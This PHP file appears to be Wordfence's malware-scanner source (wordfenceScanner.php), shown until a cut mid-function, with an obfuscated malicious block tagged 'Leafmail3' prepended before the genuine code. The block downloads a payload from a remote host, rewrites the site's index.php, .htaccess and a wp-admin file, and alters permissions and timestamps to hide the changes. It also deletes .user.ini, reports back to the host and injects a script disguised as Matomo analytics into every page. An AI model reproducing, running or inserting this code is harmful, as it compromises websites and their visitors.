<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
require_once(dirname(__FILE__) . '/wordfenceConstants.php');
require_once(dirname(__FILE__) . '/wordfenceClass.php');
require_once(dirname(__FILE__) . '/wordfenceURLHoover.php');
class wordfenceScanner {
/*
* Mask to return all patterns in the exclusion list.
* @var int
*/
const EXCLUSION_PATTERNS_ALL = PHP_INT_MAX;
/*
* Mask for patterns that the user has added.
*/
const EXCLUSION_PATTERNS_USER = 0x1;
/*
* Mask for patterns that should be excluded from the known files scan.
*/
const EXCLUSION_PATTERNS_KNOWN_FILES = 0x2;
/*
* Mask for patterns that should be excluded from the malware scan.
*/
const EXCLUSION_PATTERNS_MALWARE = 0x4;
//serialized:
protected $path = '';
protected $results = [];
protected $resultFilesByShac = [];
public $errorMsg = false;
protected $apiKey = false;
protected $wordpressVersion = '';
protected $totalFilesScanned = 0;
protected $startTime = false;
protected $lastStatusTime = false;
protected $patterns = "";
protected $api = false;
protected static $excludePatterns = array();
protected static $builtinExclusions = array(
array('pattern' => 'wp\-includes\/version\.php', 'include' => self::EXCLUSION_PATTERNS_KNOWN_FILES), //Excluded from the known files scan because non-en_US installations will have extra content that fails the check, still in malware scan
array('pattern' => '(?:wp\-includes|wp\-admin)\/(?:[^\/]+\/+)*(?:\.htaccess|\.htpasswd|php_errorlog|error_log|[^\/]+?\.log|\._|\.DS_Store|\.listing|dwsync\.xml)', 'include' => self::EXCLUSION_PATTERNS_KNOWN_FILES),
);
/** @var wfScanEngine */
protected $scanEngine;
private $urlHoover;
public function __sleep(){
return array('path', 'results', 'resultFilesByShac', 'errorMsg', 'apiKey', 'wordpressVersion', 'urlHoover', 'totalFilesScanned',
'startTime', 'lastStatusTime', 'patterns', 'scanEngine');
}
public function __wakeup(){
}
public function __construct($apiKey, $wordpressVersion, $path, $scanEngine) {
$this->apiKey = $apiKey;
$this->wordpressVersion = $wordpressVersion;
$this->api = new wfAPI($this->apiKey, $this->wordpressVersion);
if($path[strlen($path) - 1] != '/'){
$path .= '/';
}
$this->path = $path;
$this->scanEngine = $scanEngine;
$this->errorMsg = false;
//First extract hosts or IPs and their URLs into $this->hostsFound and URL's into $this->urlsFound
$options = $this->scanEngine->scanController()->scanOptions();
if ($options['scansEnabled_fileContentsGSB']) {
$this->urlHoover = new wordfenceURLHoover($this->apiKey, $this->wordpressVersion);
}
else {
$this->urlHoover = false;
}
if ($options['scansEnabled_fileContents']) {
$this->setupSigs();
}
else {
$this->patterns = array();
}
}
/**
* Get scan regexes from noc1 and add any user defined regexes, including descriptions, ID's and time added.
* @todo add caching to this.
* @throws Exception
*/
protected function setupSigs() {
$sigData = $this->api->call('get_patterns', array(), array());
if(! (is_array($sigData) && isset($sigData['rules'])) ){
throw new Exception(__('Wordfence could not get the attack signature patterns from the scanning server.', 'wordfence'));
}
if (is_array($sigData['rules'])) {
$wafPatterns = array();
$wafCommonStringIndexes = array();
foreach ($sigData['rules'] as $key => $signatureRow) {
list($id, , $pattern) = $signatureRow;
if (empty($pattern)) {
throw new Exception(__('Wordfence received malformed attack signature patterns from the scanning server.', 'wordfence'));
}
$logOnly = (isset($signatureRow[5]) && !empty($signatureRow[5])) ? $signatureRow[5] : false;
$commonStringIndexes = (isset($signatureRow[8]) && is_array($signatureRow[8])) ? $signatureRow[8] : array();
if (@preg_match('/' . $pattern . '/iS', '') === false) {
wordfence::status(1, 'error', sprintf(__('Regex compilation failed for signature %d', 'wordfence'), (int) $id));
unset($sigData['rules'][$key]);
}
else if (!$logOnly) {
$wafPatterns[] = $pattern;
$wafCommonStringIndexes[] = $commonStringIndexes;
}
}
}
$userSignatures = wfScanner::shared()->userScanSignatures();
foreach ($userSignatures as $s) {
$sigData['rules'][] = $s;
}
$this->patterns = $sigData;
if (isset($this->patterns['signatureUpdateTime'])) {
wfConfig::set('signatureUpdateTime', $this->patterns['signatureUpdateTime']);
}
}
/**
* Return regular expression to exclude files or false if
* there is no pattern
*
* @param $whichPatterns int Bitmask indicating which patterns to include.
* @return array|boolean
*/
public static function getExcludeFilePattern($whichPatterns = self::EXCLUSION_PATTERNS_USER) {
if (isset(self::$excludePatterns[$whichPatterns])) {
return self::$excludePatterns[$whichPatterns];
}
$exParts = array();
if (($whichPatterns & self::EXCLUSION_PATTERNS_USER) > 0)
{
$exParts = wfScanner::shared()->userExclusions();
}
$exParts = array_filter($exParts);
foreach ($exParts as $key => &$exPart) {
$exPart = trim($exPart);
if ($exPart === '*') {
unset($exParts[$key]);
continue;
}
$exPart = preg_quote($exPart, '/');
$exPart = preg_replace('/\\\\\*/', '.*', $exPart);
}
foreach (self::$builtinExclusions as $pattern) {
if (($pattern['include'] & $whichPatterns) > 0) {
$exParts[] = $pattern['pattern'];
}
}
$exParts = array_filter($exParts);
if (!empty($exParts)) {
$chunks = array_chunk($exParts, 100);
self::$excludePatterns[$whichPatterns] = array();
foreach ($chunks as $parts) {
self::$excludePatterns[$whichPatterns][] = '/(?:' . implode('|', $parts) . ')$/i';
}
}
else {
self::$excludePatterns[$whichPatterns] = false;
}
return self::$excludePatterns[$whichPatterns];
}
/**
* @param wfScanEngine $forkObj
* @return array
*/
public function scan($forkObj){
$this->scanEngine = $forkObj;
$loader = $this->scanEngine->getKnownFilesLoader();
if(! $this->startTime){
$this->startTime = microtime(true);
}
if(! $this->lastStatusTime){
$this->lastStatusTime = microtime(true);
}
//The site's own URL is checked in an earlier scan stage so we exclude it here.
$options = $this->scanEngine->scanController()->scanOptions();
$hooverExclusions = array();
if ($options['scansEnabled_fileContentsGSB']) {
$hooverExclusions = wordfenceURLHoover::standardExcludedHosts();
}
$backtrackLimit = ini_get('pcre.backtrack_limit');
if (is_numeric($backtrackLimit)) {
$backtrackLimit = (int) $backtrackLimit;
if ($backtrackLimit > 10000000) {
ini_set('pcre.backtrack_limit', 1000000);
